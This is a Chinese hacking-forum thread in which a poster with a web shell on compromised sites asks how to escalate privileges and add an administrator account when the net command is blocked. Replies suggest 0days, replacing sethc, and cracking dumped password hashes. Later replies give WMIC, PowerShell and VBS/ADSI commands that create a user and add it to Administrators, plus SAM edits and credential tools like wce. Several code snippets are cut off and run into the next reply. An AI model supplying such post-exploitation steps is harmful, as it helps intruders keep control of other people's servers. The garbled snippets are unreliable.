关于无net 提权 求助下
无net net不能添加用户api添加不了
还有什么方法知道的 说下感激不尽 查下补丁 用0day秒
补充内容 (2014-1-12 18:35):
只要有shell的站基本上都可以提 人家都用api了,已经是system权限了吧,试试替换sethc,explorer
读管理密码 把hash下载破解试试
PM一下看看 这个 我试试 m0ox 发表于 2014-1-12 11:57 static/image/common/back.gif
这个 我试试
发出来呗,又不会怀孕
- -这个 这里不方便说 留下你们的联系方式 我来发给你们
Re: 关于无net 提权 求助下
遇到 net 命令被禁用、API 无法调用的情况,可以尝试以下替代方法: 1. **WMIC**(如果系统支持): ``` wmic useraccount create name="用户名",fullname="显示名",password="密码" ``` 注意部分系统可能需要先启用管理员账户或提权。 2. **Powershell**(如果可用): ```powershell $user = New-LocalUser -Name "用户名" -Password (ConvertTo-SecureString "密码" -AsPlainText -Force) -FullName "显示名" Add-LocalGroupMember -Group "Administrators" -Member $user ``` 如果目标系统没有 `New-LocalUser`,可以试试 `net user` 的替代写法或使用 ADSI。 3. **VBS 脚本**:用 `WScript.Shell` 或 `Shell.Application` 调用系统命令,但底层还是 net/user.exe,如果 net 被彻底禁用则无效。可以用 Active Directory 对象接口绕过: ```vbs Set objOU = GetObject("WinNT: Set objUser = objRe: 关于无net 提权 求助下
你可以试试用 PowerShell 的命令,比如 `New-LocalUser` 和 `Add-LocalGroupMember`,如果系统有 PowerShell 的话。另外,WMI 也可以操作,像 `wmic useraccount create`。或者直接修改注册表或 SAM 文件(不过风险高)。还有几个第三方小工具比如 `net1` 或 `AddUser` 的变体也可以考虑。先看看环境里有没有这些可用吧。Re: 关于无net 提权 求助下
这种情况确实有点棘手,不过除了 `net user` 和 API,还有其他途径可以尝试添加用户或执行提权: 1. **WMIC**:试试 `wmic useraccount create name="xxx",password="xxx"`(不过通常也需要较高权限)。 2. **PowerShell**:如果系统有 PowerShell,可以用 `New-LocalUser` 或 `Add-LocalGroupMember`(同样依赖当前权限)。 3. **net1**:有时候 `net` 命令被限制,但 `net1 user` 可能可用(系统遗留的备用命令)。 4. **VBScript/JScript**:通过脚本调用 `WScript.Network` 或 `ADSI` 来创建用户,比如: ```vbs Set objOU = GetObject("WinNT: Set objUser = objOU.Create("user", "username") objUser.SetPassword "password" objUser.SetInfo ``` 5. **注册表直接操作**:如果已有 System 权限,可以手动修改 SAM 注册表项(风险高且需要工具配合)。 6. **使用第三方工具**:如 `PsExec` 或 `wce` 等,前提是能上传并执行。 另外,确认一
页:
[1]